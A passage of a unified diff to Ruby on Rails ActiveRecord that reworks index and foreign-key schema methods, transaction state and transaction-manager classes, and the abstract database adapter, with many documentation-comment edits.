- # Note: SQLite doesn't support index length
+ # Note: SQLite doesn't support index length.
#
# ====== Creating an index with a sort order (desc or asc, asc is the default)
- # add_index(:accounts, [:branch_id, :party_id, :surname], order: {branch_id: :desc, party_id: :asc})
- # generates
- # CREATE INDEX by_branch_desc_party ON accounts(branch_id DESC, party_id ASC, surname)
#
- # Note: mysql doesn't yet support index order (it accepts the syntax but ignores it)
+ # add_index(:accounts, [:branch_id, :party_id, :surname], order: {branch_id: :desc, party_id: :asc})
+ #
+ # generates:
+ #
+ # CREATE INDEX by_branch_desc_party ON accounts(branch_id DESC, party_id ASC, surname)
+ #
+ # Note: MySQL doesn't yet support index order (it accepts the syntax but ignores it).
#
# ====== Creating a partial index
- # add_index(:accounts, [:branch_id, :party_id], unique: true, where: "active")
- # generates
- # CREATE UNIQUE INDEX index_accounts_on_branch_id_and_party_id ON accounts(branch_id, party_id) WHERE active
#
- # Note: only supported by PostgreSQL
+ # add_index(:accounts, [:branch_id, :party_id], unique: true, where: "active")
+ #
+ # generates:
+ #
+ # CREATE UNIQUE INDEX index_accounts_on_branch_id_and_party_id ON accounts(branch_id, party_id) WHERE active
+ #
+ # ====== Creating an index with a specific method
+ #
+ # add_index(:developers, :name, using: 'btree')
+ #
+ # generates:
+ #
+ # CREATE INDEX index_developers_on_name ON developers USING btree (name) -- PostgreSQL
+ # CREATE INDEX index_developers_on_name USING btree ON developers (name) -- MySQL
+ #
+ # Note: only supported by PostgreSQL and MySQL
+ #
+ # ====== Creating an index with a specific type
#
+ # add_index(:developers, :name, type: :fulltext)
+ #
+ # generates:
+ #
+ # CREATE FULLTEXT INDEX index_developers_on_name ON developers (name) -- MySQL
+ #
+ # Note: only supported by MySQL. Supported: <tt>:fulltext</tt> and <tt>:spatial</tt> on MyISAM tables.
def add_index(table_name, column_name, options = {})
index_name, index_type, index_columns, index_options = add_index_options(table_name, column_name, options)
execute "CREATE #{index_type} INDEX #{quote_column_name(index_name)} ON #{quote_table_name(table_name)} (#{index_columns})#{index_options}"
end
- # Remove the given index from the table.
+ # Removes the given index from the table.
+ #
+ # Removes the +index_accounts_on_column+ in the +accounts+ table.
#
- # Remove the index_accounts_on_column in the accounts table.
# remove_index :accounts, :column
- # Remove the index named index_accounts_on_branch_id in the accounts table.
+ #
+ # Removes the index named +index_accounts_on_branch_id+ in the +accounts+ table.
+ #
# remove_index :accounts, column: :branch_id
- # Remove the index named index_accounts_on_branch_id_and_party_id in the accounts table.
+ #
+ # Removes the index named +index_accounts_on_branch_id_and_party_id+ in the +accounts+ table.
+ #
# remove_index :accounts, column: [:branch_id, :party_id]
- # Remove the index named by_branch_party in the accounts table.
+ #
+ # Removes the index named +by_branch_party+ in the +accounts+ table.
+ #
# remove_index :accounts, name: :by_branch_party
+ #
def remove_index(table_name, options = {})
remove_index!(table_name, index_name_for_remove(table_name, options))
end
@@ -409,16 +564,21 @@ module ActiveRecord
execute "DROP INDEX #{quote_column_name(index_name)} ON #{quote_table_name(table_name)}"
end
- # Rename an index.
+ # Renames an index.
+ #
+ # Rename the +index_people_on_last_name+ index to +index_users_on_last_name+:
#
- # Rename the index_people_on_last_name index to index_users_on_last_name
# rename_index :people, 'index_people_on_last_name', 'index_users_on_last_name'
+ #
def rename_index(table_name, old_name, new_name)
+ if new_name.length > allowed_index_name_length
+ raise ArgumentError, "Index name '#{new_name}' on table '#{table_name}' is too long; the limit is #{allowed_index_name_length} characters"
+ end
# this is a naive implementation; some DBs may support this more efficiently (Postgres, for instance)
old_index_def = indexes(table_name).detect { |i| i.name == old_name }
return unless old_index_def
- remove_index(table_name, :name => old_name)
- add_index(table_name, old_index_def.columns, :name => new_name, :unique => old_index_def.unique)
+ add_index(table_name, old_index_def.columns, name: new_name, unique: old_index_def.unique)
+ remove_index(table_name, name: old_name)
end
def index_name(table_name, options) #:nodoc:
@@ -435,7 +595,7 @@ module ActiveRecord
end
end
- # Verify the existence of an index with a given name.
+ # Verifies the existence of an index with a given name.
#
# The default argument is returned if the underlying implementation does not define the indexes method,
# as there's no way to determine the correct answer in that case.
@@ -446,23 +606,33 @@ module ActiveRecord
end
# Adds a reference. Optionally adds a +type+ column, if <tt>:polymorphic</tt> option is provided.
+ # The reference column is an +integer+ by default, the <tt>:type</tt> option can be used to specify
+ # a different type.
# <tt>add_reference</tt> and <tt>add_belongs_to</tt> are acceptable.
#
- # ====== Create a user_id column
- # add_reference(:products, :user)
+ # ====== Create a user_id integer column
+ #
+ # add_reference(:products, :user)
+ #
+ # ====== Create a user_id string column
+ #
+ # add_reference(:products, :user, type: :string)
#
# ====== Create a supplier_id and supplier_type columns
- # add_belongs_to(:products, :supplier, polymorphic: true)
+ #
+ # add_belongs_to(:products, :supplier, polymorphic: true)
#
# ====== Create a supplier_id, supplier_type columns and appropriate index
- # add_reference(:products, :supplier, polymorphic: true, index: true)
+ #
+ # add_reference(:products, :supplier, polymorphic: true, index: true)
#
def add_reference(table_name, ref_name, options = {})
polymorphic = options.delete(:polymorphic)
index_options = options.delete(:index)
- add_column(table_name, "#{ref_name}_id", :integer, options)
+ type = options.delete(:type) || :integer
+ add_column(table_name, "#{ref_name}_id", type, options)
add_column(table_name, "#{ref_name}_type", :string, polymorphic.is_a?(Hash) ? polymorphic : options) if polymorphic
- add_index(table_name, polymorphic ? %w[id type].map{ |t| "#{ref_name}_#{t}" } : "#{ref_name}_id", index_options.is_a?(Hash) ? index_options : nil) if index_options
+ add_index(table_name, polymorphic ? %w[type id].map{ |t| "#{ref_name}_#{t}" } : "#{ref_name}_id", index_options.is_a?(Hash) ? index_options : {}) if index_options
end
alias :add_belongs_to :add_reference
@@ -470,10 +640,12 @@ module ActiveRecord
# <tt>remove_reference</tt>, <tt>remove_references</tt> and <tt>remove_belongs_to</tt> are acceptable.
#
# ====== Remove the reference
- # remove_reference(:products, :user, index: true)
+ #
+ # remove_reference(:products, :user, index: true)
#
# ====== Remove polymorphic reference
- # remove_reference(:products, :supplier, polymorphic: true)
+ #
+ # remove_reference(:products, :supplier, polymorphic: true)
#
def remove_reference(table_name, ref_name, options = {})
remove_column(table_name, "#{ref_name}_id")
@@ -481,9 +653,113 @@ module ActiveRecord
end
alias :remove_belongs_to :remove_reference
- # Returns a string of <tt>CREATE TABLE</tt> SQL statement(s) for recreating the
- # entire structure of the database.
- def structure_dump
+ # Returns an array of foreign keys for the given table.
+ # The foreign keys are represented as +ForeignKeyDefinition+ objects.
+ def foreign_keys(table_name)
+ raise NotImplementedError, "foreign_keys is not implemented"
+ end
+
+ # Adds a new foreign key. +from_table+ is the table with the key column,
+ # +to_table+ contains the referenced primary key.
+ #
+ # The foreign key will be named after the following pattern: <tt>fk_rails_<identifier></tt>.
+ # +identifier+ is a 10 character long random string. A custom name can be specified with
+ # the <tt>:name</tt> option.
+ #
+ # ====== Creating a simple foreign key
+ #
+ # add_foreign_key :articles, :authors
+ #
+ # generates:
+ #
+ # ALTER TABLE "articles" ADD CONSTRAINT articles_author_id_fk FOREIGN KEY ("author_id") REFERENCES "authors" ("id")
+ #
+ # ====== Creating a foreign key on a specific column
+ #
+ # add_foreign_key :articles, :users, column: :author_id, primary_key: "lng_id"
+ #
+ # generates:
+ #
+ # ALTER TABLE "articles" ADD CONSTRAINT fk_rails_58ca3d3a82 FOREIGN KEY ("author_id") REFERENCES "users" ("lng_id")
+ #
+ # ====== Creating a cascading foreign key
+ #
+ # add_foreign_key :articles, :authors, on_delete: :cascade
+ #
+ # generates:
+ #
+ # ALTER TABLE "articles" ADD CONSTRAINT articles_author_id_fk FOREIGN KEY ("author_id") REFERENCES "authors" ("id") ON DELETE CASCADE
+ #
+ # The +options+ hash can include the following keys:
+ # [<tt>:column</tt>]
+ # The foreign key column name on +from_table+. Defaults to <tt>to_table.singularize + "_id"</tt>
+ # [<tt>:primary_key</tt>]
+ # The primary key column name on +to_table+. Defaults to +id+.
+ # [<tt>:name</tt>]
+ # The constraint name. Defaults to <tt>fk_rails_<identifier></tt>.
+ # [<tt>:on_delete</tt>]
+ # Action that happens <tt>ON DELETE</tt>. Valid values are +:nullify+, +:cascade:+ and +:restrict+
+ # [<tt>:on_update</tt>]
+ # Action that happens <tt>ON UPDATE</tt>. Valid values are +:nullify+, +:cascade:+ and +:restrict+
+ def add_foreign_key(from_table, to_table, options = {})
+ return unless supports_foreign_keys?
+
+ options[:column] ||= foreign_key_column_for(to_table)
+
+ options = {
+ column: options[:column],
+ primary_key: options[:primary_key],
+ name: foreign_key_name(from_table, options),
+ on_delete: options[:on_delete],
+ on_update: options[:on_update]
+ }
+ at = create_alter_table from_table
+ at.add_foreign_key to_table, options
+
+ execute schema_creation.accept(at)
+ end
+
+ # Removes the given foreign key from the table.
+ #
+ # Removes the foreign key on +accounts.branch_id+.
+ #
+ # remove_foreign_key :accounts, :branches
+ #
+ # Removes the foreign key on +accounts.owner_id+.
+ #
+ # remove_foreign_key :accounts, column: :owner_id
+ #
+ # Removes the foreign key named +special_fk_name+ on the +accounts+ table.
+ #
+ # remove_foreign_key :accounts, name: :special_fk_name
+ #
+ def remove_foreign_key(from_table, options_or_to_table = {})
+ return unless supports_foreign_keys?
+
+ if options_or_to_table.is_a?(Hash)
+ options = options_or_to_table
+ else
+ options = { column: foreign_key_column_for(options_or_to_table) }
+ end
+
+ fk_name_to_delete = options.fetch(:name) do
+ fk_to_delete = foreign_keys(from_table).detect {|fk| fk.column == options[:column].to_s }
+
+ if fk_to_delete
+ fk_to_delete.name
+ else
+ raise ArgumentError, "Table '#{from_table}' has no foreign key on column '#{options[:column]}'"
+ end
+ end
+
+ at = create_alter_table from_table
+ at.drop_foreign_key fk_name_to_delete
+
+ execute schema_creation.accept(at)
+ end
+
+ def foreign_key_column_for(table_name) # :nodoc:
+ "#{table_name.to_s.singularize}_id"
end
def dump_schema_information #:nodoc:
@@ -505,7 +781,7 @@ module ActiveRecord
version = version.to_i
sm_table = quote_table_name(ActiveRecord::Migrator.schema_migrations_table_name)
- migrated = select_values("SELECT version FROM #{sm_table}").map { |v| v.to_i }
+ migrated = select_values("SELECT version FROM #{sm_table}").map(&:to_i)
paths = migrations_paths.map {|p| "#{p}/[0-9]*_*.rb" }
versions = Dir[*paths].map do |filename|
filename.split('/').last.split('_').first.to_i
@@ -549,42 +825,78 @@ module ActiveRecord
column_type_sql
else
- type
- end
- end
-
- def add_column_options!(sql, options) #:nodoc:
- sql << " DEFAULT #{quote(options[:default], options[:column])}" if options_include_default?(options)
- # must explicitly check for :null to allow change_column to work on migrations
- if options[:null] == false
- sql << " NOT NULL"
+ type.to_s
end
end
- # SELECT DISTINCT clause for a given set of columns and a given ORDER BY clause.
- # Both PostgreSQL and Oracle overrides this for custom DISTINCT syntax.
+ # Given a set of columns and an ORDER BY clause, returns the columns for a SELECT DISTINCT.
+ # Both PostgreSQL and Oracle overrides this for custom DISTINCT syntax - they
+ # require the order columns appear in the SELECT.
#
- # distinct("posts.id", "posts.created_at desc")
- def distinct(columns, order_by)
- "DISTINCT #{columns}"
+ # columns_for_distinct("posts.id", ["posts.created_at desc"])
+ def columns_for_distinct(columns, orders) #:nodoc:
+ columns
end
- # Adds timestamps (created_at and updated_at) columns to the named table.
+ include TimestampDefaultDeprecation
+ # Adds timestamps (+created_at+ and +updated_at+) columns to +table_name+.
+ # Additional options (like <tt>null: false</tt>) are forwarded to #add_column.
#
- # add_timestamps(:suppliers)
- def add_timestamps(table_name)
- add_column table_name, :created_at, :datetime
- add_column table_name, :updated_at, :datetime
+ # add_timestamps(:suppliers, null: false)
+ #
+ def add_timestamps(table_name, options = {})
+ emit_warning_if_null_unspecified(options)
+ add_column table_name, :created_at, :datetime, options
+ add_column table_name, :updated_at, :datetime, options
end
- # Removes the timestamp columns (created_at and updated_at) from the table definition.
+ # Removes the timestamp columns (+created_at+ and +updated_at+) from the table definition.
#
# remove_timestamps(:suppliers)
- def remove_timestamps(table_name)
+ #
+ def remove_timestamps(table_name, options = {})
remove_column table_name, :updated_at
remove_column table_name, :created_at
end
+ def update_table_definition(table_name, base) #:nodoc:
+ Table.new(table_name, base)
+ end
+
+ def add_index_options(table_name, column_name, options = {}) #:nodoc:
+ column_names = Array(column_name)
+ index_name = index_name(table_name, column: column_names)
+
+ options.assert_valid_keys(:unique, :order, :name, :where, :length, :internal, :using, :algorithm, :type)
+
+ index_type = options[:unique] ? "UNIQUE" : ""
+ index_type = options[:type].to_s if options.key?(:type)
+ index_name = options[:name].to_s if options.key?(:name)
+ max_index_length = options.fetch(:internal, false) ? index_name_length : allowed_index_name_length
+
+ if options.key?(:algorithm)
+ algorithm = index_algorithms.fetch(options[:algorithm]) {
+ raise ArgumentError.new("Algorithm must be one of the following: #{index_algorithms.keys.map(&:inspect).join(', ')}")
+ }
+ end
+
+ using = "USING #{options[:using]}" if options[:using].present?
+
+ if supports_partial_index?
+ index_options = options[:where] ? " WHERE #{options[:where]}" : ""
+ end
+
+ if index_name.length > max_index_length
+ raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' is too long; the limit is #{max_index_length} characters"
+ end
+ if table_exists?(table_name) && index_name_exists?(table_name, index_name, false)
+ raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' already exists"
+ end
+ index_columns = quoted_columns_for_index(column_names, options).join(", ")
+
+ [index_name, index_type, index_columns, index_options, algorithm, using]
+ end
+
protected
def add_index_sort_order(option_strings, column_names, options = {})
if options.is_a?(Hash) && order = options[:order]
@@ -599,7 +911,7 @@ module ActiveRecord
return option_strings
end
- # Overridden by the mysql adapter for supporting index lengths
+ # Overridden by the MySQL adapter for supporting index lengths
def quoted_columns_for_index(column_names, options = {})
option_strings = Hash[column_names.map {|name| [name, '']}]
@@ -615,60 +927,59 @@ module ActiveRecord
options.include?(:default) && !(options[:null] == false && options[:default].nil?)
end
- def add_index_options(table_name, column_name, options = {})
- column_names = Array(column_name)
- index_name = index_name(table_name, column: column_names)
-
- if Hash === options # legacy support, since this param was a string
- options.assert_valid_keys(:unique, :order, :name, :where, :length)
-
- index_type = options[:unique] ? "UNIQUE" : ""
- index_name = options[:name].to_s if options.key?(:name)
+ def index_name_for_remove(table_name, options = {})
+ index_name = index_name(table_name, options)
- if supports_partial_index?
- index_options = options[:where] ? " WHERE #{options[:where]}" : ""
- end
- else
- if options
- message = "Passing a string as third argument of `add_index` is deprecated and will" +
- " be removed in Rails 4.1." +
- " Use add_index(#{table_name.inspect}, #{column_name.inspect}, unique: true) instead"
+ unless index_name_exists?(table_name, index_name, true)
+ if options.is_a?(Hash) && options.has_key?(:name)
+ options_without_column = options.dup
+ options_without_column.delete :column
+ index_name_without_column = index_name(table_name, options_without_column)
- ActiveSupport::Deprecation.warn message
+ return index_name_without_column if index_name_exists?(table_name, index_name_without_column, false)
end
- index_type = options
- end
-
- if index_name.length > index_name_length
- raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' is too long; the limit is #{index_name_length} characters"
- end
- if index_name_exists?(table_name, index_name, false)
- raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' already exists"
+ raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' does not exist"
end
- index_columns = quoted_columns_for_index(column_names, options).join(", ")
- [index_name, index_type, index_columns, index_options]
+ index_name
end
- def index_name_for_remove(table_name, options = {})
- index_name = index_name(table_name, options)
-
- unless index_name_exists?(table_name, index_name, true)
- raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' does not exist"
+ def rename_table_indexes(table_name, new_name)
+ indexes(new_name).each do |index|
+ generated_index_name = index_name(table_name, column: index.columns)
+ if generated_index_name == index.name
+ rename_index new_name, generated_index_name, index_name(new_name, column: index.columns)
+ end
end
-
- index_name
end
- def columns_for_remove(table_name, *column_names)
- raise ArgumentError.new("You must specify at least one column name. Example: remove_column(:people, :first_name)") if column_names.blank?
- column_names.map {|column_name| quote_column_name(column_name) }
+ def rename_column_indexes(table_name, column_name, new_column_name)
+ column_name, new_column_name = column_name.to_s, new_column_name.to_s
+ indexes(table_name).each do |index|
+ next unless index.columns.include?(new_column_name)
+ old_columns = index.columns.dup
+ old_columns[old_columns.index(new_column_name)] = column_name
+ generated_index_name = index_name(table_name, column: old_columns)
+ if generated_index_name == index.name
+ rename_index table_name, generated_index_name, index_name(table_name, column: index.columns)
+ end
+ end
end
private
- def table_definition
- TableDefinition.new(self)
+ def create_table_definition(name, temporary, options, as = nil)
+ TableDefinition.new native_database_types, name, temporary, options, as
+ end
+
+ def create_alter_table(name)
+ AlterTable.new create_table_definition(name, false, {})
+ end
+
+ def foreign_key_name(table_name, options) # :nodoc:
+ options.fetch(:name) do
+ "fk_rails_#{SecureRandom.hex(5)}"
+ end
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb b/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
index 4cca94e40b..fd666c8c39 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
@@ -1,128 +1,143 @@
module ActiveRecord
module ConnectionAdapters
- class Transaction #:nodoc:
- attr_reader :connection
+ class TransactionState
+ attr_reader :parent
- def initialize(connection)
- @connection = connection
- end
- end
+ VALID_STATES = Set.new([:committed, :rolledback, nil])
- class ClosedTransaction < Transaction #:nodoc:
- def number
- 0
+ def initialize(state = nil)
+ @state = state
+ @parent = nil
end
- def begin(options = {})
- RealTransaction.new(connection, self, options)
+ def finalized?
+ @state
end
- def closed?
- true
+ def committed?
+ @state == :committed
end
- def open?
- false
+ def rolledback?
+ @state == :rolledback
end
- def joinable?
- false
+ def completed?
+ committed? || rolledback?
end
- # This is a noop when there are no open transactions
- def add_record(record)
+ def set_state(state)
+ if !VALID_STATES.include?(state)
+ raise ArgumentError, "Invalid transaction state: #{state}"
+ end
+ @state = state
end
end
- class OpenTransaction < Transaction #:nodoc:
- attr_reader :parent, :records
- attr_writer :joinable
-
- def initialize(connection, parent, options = {})
- super connection
-
- @parent = parent
- @records = []
- @finishing = false
- @joinable = options.fetch(:joinable, true)
- end
+ class NullTransaction #:nodoc:
+ def initialize; end
+ def closed?; true; end
+ def open?; false; end
+ def joinable?; false; end
+ def add_record(record); end
+ end
- # This state is necesarry so that we correctly handle stuff that might
- # happen in a commit/rollback. But it's kinda distasteful. Maybe we can
- # find a better way to structure it in the future.
- def finishing?
- @finishing
- end
+ class Transaction #:nodoc:
- def joinable?
- @joinable && !finishing?
- end
+ attr_reader :connection, :state, :records, :savepoint_name
+ attr_writer :joinable
- def number
- if finishing?
- parent.number
- else
- parent.number + 1
- end
+ def initialize(connection, options)
+ @connection = connection
+ @state = TransactionState.new
+ @records = []
+ @joinable = options.fetch(:joinable, true)
end
- def begin(options = {})
- if finishing?
- parent.begin
+ def add_record(record)
+ if record.has_transactional_callbacks?
+ records << record
else
- SavepointTransaction.new(connection, self, options)
+ record.set_transaction_state(@state)
end
end
def rollback
- @finishing = true
- perform_rollback
- parent
- end
-
- def commit
- @finishing = true
- perform_commit
- parent
- end
-
- def add_record(record)
- records << record
+ @state.set_state(:rolledback)
end
def rollback_records
- records.uniq.each do |record|
+ ite = records.uniq
+ while record = ite.shift
begin
- record.rolledback!(parent.closed?)
+ record.rolledback! full_rollback?
rescue => e
+ raise if ActiveRecord::Base.raise_in_transactional_callbacks
record.logger.error(e) if record.respond_to?(:logger) && record.logger
end
end
+ ensure
+ ite.each do |i|
+ i.rolledback!(full_rollback?, false)
+ end
+ end
+
+ def commit
+ @state.set_state(:committed)
end
def commit_records
- records.uniq.each do |record|
+ ite = records.uniq
+ while record = ite.shift
begin
record.committed!
rescue => e
+ raise if ActiveRecord::Base.raise_in_transactional_callbacks
record.logger.error(e) if record.respond_to?(:logger) && record.logger
end
end
+ ensure
+ ite.each do |i|
+ i.committed!(false)
+ end
end
- def closed?
- false
+ def full_rollback?; true; end
+ def joinable?; @joinable; end
+ def closed?; false; end
+ def open?; !closed?; end
+ end
+
+ class SavepointTransaction < Transaction
+
+ def initialize(connection, savepoint_name, options)
+ super(connection, options)
+ if options[:isolation]
+ raise ActiveRecord::TransactionIsolationError, "cannot set transaction isolation in a nested transaction"
+ end
+ connection.create_savepoint(@savepoint_name = savepoint_name)
end
- def open?
- true
+ def rollback
+ connection.rollback_to_savepoint(savepoint_name)
+ super
+ rollback_records
end
- end
- class RealTransaction < OpenTransaction #:nodoc:
- def initialize(connection, parent, options = {})
+ def commit
+ connection.release_savepoint(savepoint_name)
super
+ parent = connection.transaction_manager.current_transaction
+ records.each { |r| parent.add_record(r) }
+ end
+
+ def full_rollback?; false; end
+ end
+
+ class RealTransaction < Transaction
+ def initialize(connection, options)
+ super
if options[:isolation]
connection.begin_isolated_db_transaction(options[:isolation])
else
@@ -130,36 +145,75 @@ module ActiveRecord
end
end
- def perform_rollback
+ def rollback
connection.rollback_db_transaction
+ super
rollback_records
end
- def perform_commit
+ def commit
connection.commit_db_transaction
+ super
commit_records
end
end
- class SavepointTransaction < OpenTransaction #:nodoc:
- def initialize(connection, parent, options = {})
- if options[:isolation]
- raise ActiveRecord::TransactionIsolationError, "cannot set transaction isolation in a nested transaction"
- end
+ class TransactionManager #:nodoc:
+ def initialize(connection)
+ @stack = []
+ @connection = connection
+ end
- super
- connection.create_savepoint
+ def begin_transaction(options = {})
+ transaction =
+ if @stack.empty?
+ RealTransaction.new(@connection, options)
+ else
+ SavepointTransaction.new(@connection, "active_record_#{@stack.size}", options)
+ end
+ @stack.push(transaction)
+ transaction
+ end
+
+ def commit_transaction
+ @stack.pop.commit
+ end
+
+ def rollback_transaction
+ @stack.pop.rollback
+ end
+
+ def within_new_transaction(options = {})
+ transaction = begin_transaction options
+ yield
+ rescue Exception => error
+ rollback_transaction if transaction
+ raise
+ ensure
+ unless error
+ if Thread.current.status == 'aborting'
+ rollback_transaction
+ else
+ begin
+ commit_transaction
+ rescue Exception
+ transaction.rollback unless transaction.state.completed?
+ raise
+ end
+ end
+ end
end
- def perform_rollback
- connection.rollback_to_savepoint
- rollback_records
+ def open_transactions
+ @stack.size
end
- def perform_commit
- connection.release_savepoint
- records.each { |r| parent.add_record(r) }
+ def current_transaction
+ @stack.last || NULL_TRANSACTION
end
+
+ private
+ NULL_TRANSACTION = NullTransaction.new
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
index 8517ce5fc5..e0a4af5359 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
@@ -1,11 +1,14 @@
require 'date'
require 'bigdecimal'
require 'bigdecimal/util'
+require 'active_record/type'
require 'active_support/core_ext/benchmark'
require 'active_record/connection_adapters/schema_cache'
require 'active_record/connection_adapters/abstract/schema_dumper'
+require 'active_record/connection_adapters/abstract/schema_creation'
require 'monitor'
-require 'active_support/deprecation'
+require 'arel/collectors/bind'
+require 'arel/collectors/sql_string'
module ActiveRecord
module ConnectionAdapters # :nodoc:
@@ -17,8 +20,11 @@ module ActiveRecord
autoload_at 'active_record/connection_adapters/abstract/schema_definitions' do
autoload :IndexDefinition
autoload :ColumnDefinition
+ autoload :ChangeColumnDefinition
autoload :TableDefinition
autoload :Table
+ autoload :AlterTable
+ autoload :TimestampDefaultDeprecation
end
autoload_at 'active_record/connection_adapters/abstract/connection_pool' do
@@ -33,12 +39,15 @@ module ActiveRecord
autoload :Quoting
autoload :ConnectionPool
autoload :QueryCache
+ autoload :Savepoints
end
autoload_at 'active_record/connection_adapters/abstract/transaction' do
- autoload :ClosedTransaction
+ autoload :TransactionManager
+ autoload :NullTransaction
autoload :RealTransaction
autoload :SavepointTransaction
+ autoload :TransactionState
end
# Active Record supports multiple database systems. AbstractAdapter and
@@ -55,6 +64,7 @@ module ActiveRecord
# Most of the methods in the adapter are useful during migrations. Most
# notably, the instance methods provided by SchemaStatement are very useful.
class AbstractAdapter
+ ADAPTER_NAME = 'Abstract'.freeze
include Quoting, DatabaseStatements, SchemaStatements
include DatabaseLimits
include QueryCache
@@ -62,32 +72,77 @@ module ActiveRecord
include MonitorMixin
include ColumnDumper
+ SIMPLE_INT = /\A\d+\z/
+
define_callbacks :checkout, :checkin
attr_accessor :visitor, :pool
- attr_reader :schema_cache, :last_use, :in_use, :logger
- alias :in_use? :in_use
+ attr_reader :schema_cache, :owner, :logger
+ alias :in_use? :owner
+
+ def self.type_cast_config_to_integer(config)
+ if config =~ SIMPLE_INT
+ config.to_i
+ else
+ config
+ end
+ end
+
+ def self.type_cast_config_to_boolean(config)
+ if config == "false"
+ false
+ else
+ config
+ end
+ end
+
+ attr_reader :prepared_statements
def initialize(connection, logger = nil, pool = nil) #:nodoc:
super()
@connection = connection
- @in_use = false
+ @owner = nil
@instrumenter = ActiveSupport::Notifications.instrumenter
- @last_use = false
@logger = logger
@pool = pool
- @query_cache = Hash.new { |h,sql| h[sql] = {} }
- @query_cache_enabled = false
@schema_cache = SchemaCache.new self
@visitor = nil
+ @prepared_statements = false
+ end
+
+ class BindCollector < Arel::Collectors::Bind
+ def compile(bvs, conn)
+ super(bvs.map { |bv| conn.quote(*bv.reverse) })
+ end
+ end
+
+ class SQLString < Arel::Collectors::SQLString
+ def compile(bvs, conn)
+ super(bvs)
+ end
+ end
+
+ def collector
+ if prepared_statements
+ SQLString.new
+ else
+ BindCollector.new
+ end
+ end
+
+ def valid_type?(type)
+ true
+ end
+
+ def schema_creation
+ SchemaCreation.new self
end
def lease
synchronize do
- unless in_use
- @in_use = true
- @last_use = Time.now
+ unless in_use?
+ @owner = Thread.current
end
end
end
@@ -98,37 +153,35 @@ module ActiveRecord
end
def expire
- @in_use = false
+ @owner = nil
+ end
+
+ def unprepared_statement
+ old_prepared_statements, @prepared_statements = @prepared_statements, false
+ yield
+ ensure
+ @prepared_statements = old_prepared_statements
end
# Returns the human-readable name of the adapter. Use mixed case - one
# can always use downcase if needed.
def adapter_name
- 'Abstract'
+ self.class::ADAPTER_NAME
end
- # Does this adapter support migrations? Backend specific, as the
- # abstract adapter always returns +false+.
+ # Does this adapter support migrations?
def supports_migrations?
false
end
# Can this adapter determine the primary key for tables not attached
- # to an Active Record class, such as join tables? Backend specific, as
- # the abstract adapter always returns +false+.
+ # to an Active Record class, such as join tables?
def supports_primary_key?
false
end
- # Does this adapter support using DISTINCT within COUNT? This is +true+
- # for all adapters except sqlite.
- def supports_count_distinct?
- true
- end
-
# Does this adapter support DDL rollbacks in transactions? That is, would
- # CREATE TABLE or ALTER TABLE get rolled back by a transaction? PostgreSQL,
- # SQL Server, and others support this. MySQL and others do not.
+ # CREATE TABLE or ALTER TABLE get rolled back by a transaction?
def supports_ddl_transactions?
false
end
@@ -137,8 +190,7 @@ module ActiveRecord
false
end
- # Does this adapter support savepoints? PostgreSQL and MySQL do,
- # SQLite < 3.6.8 does not.
+ # Does this adapter support savepoints?
def supports_savepoints?
false
end
@@ -146,7 +198,6 @@ module ActiveRecord
# Should primary key values be selected from their corresponding
# sequence before the insert statement? If true, next_sequence_value
# is called before each insert to set the record's primary key.
- # This is false for all adapters but Firebird.
def prefetch_primary_key?(table_name = nil)
false
end
@@ -161,8 +212,7 @@ module ActiveRecord
false
end
- # Does this adapter support explain? As of this writing sqlite3,
- # mysql2, and postgresql are the only ones that do.
+ # Does this adapter support explain?
def supports_explain?
false
end
@@ -172,12 +222,51 @@ module ActiveRecord
false
end
+ # Does this adapter support database extensions?
+ def supports_extensions?
+ false
+ end
+
+ # Does this adapter support creating indexes in the same statement as
+ # creating the table?
+ def supports_indexes_in_create?
+ false
+ end
+
+ # Does this adapter support creating foreign key constraints?
+ def supports_foreign_keys?
+ false
+ end
+
+ # Does this adapter support views?
+ def supports_views?
+ false
+ end
+
+ # This is meant to be implemented by the adapters that support extensions
+ def disable_extension(name)
+ end
+
+ # This is meant to be implemented by the adapters that support extensions
+ def enable_extension(name)
+ end
+
+ # A list of extensions, to be filled in by adapters that support them.
+ def extensions
+ []
+ end
+
+ # A list of index algorithms, to be filled by adapters that support them.
+ def index_algorithms
+ {}
+ end
+
# QUOTING ==================================================
- # Returns a bind substitution value given a +column+ and list of current
- # +binds+
- def substitute_at(column, index)
- Arel::Nodes::BindParam.new '?'
+ # Returns a bind substitution value given a bind +column+
+ # NOTE: The column param is currently being used by the sqlserver-adapter
+ def substitute_at(column, _unused = 0)
+ Arel::Nodes::BindParam.new
end
# REFERENTIAL INTEGRITY ====================================
@@ -228,7 +317,6 @@ module ActiveRecord
end
# Returns true if its required to reload the connection between requests for development mode.
- # This is not the case for Ruby/MySQL and it's not necessary for any adapters except SQLite.
def requires_reloading?
false
end
@@ -250,35 +338,23 @@ module ActiveRecord
@connection
end
- def open_transactions
- @transaction.number
- end
-
- def increment_open_transactions
- ActiveSupport::Deprecation.warn "#increment_open_transactions is deprecated and has no effect"
- end
-
- def decrement_open_transactions
- ActiveSupport::Deprecation.warn "#decrement_open_transactions is deprecated and has no effect"
- end
-
- def transaction_joinable=(joinable)
- message = "#transaction_joinable= is deprecated. Please pass the :joinable option to #begin_transaction instead."
- ActiveSupport::Deprecation.warn message
- @transaction.joinable = joinable
+ def create_savepoint(name = nil)
end
- def create_savepoint
+ def rollback_to_savepoint(name = nil)
end
- def rollback_to_savepoint
+ def release_savepoint(name = nil)
end
- def release_savepoint
+ def case_sensitive_modifier(node, table_attribute)
+ node
end
- def case_sensitive_modifier(node)
- node
+ def case_sensitive_comparison(table, attribute, column, value)
+ table_attr = table[attribute]
+ value = case_sensitive_modifier(value, table_attr) unless value.nil?
+ table_attr.eq(value)
end
def case_insensitive_comparison(table, attribute, column, value)
@@ -286,7 +362,7 @@ module ActiveRecord
end
def current_savepoint_name
- "active_record_#{open_transactions}"
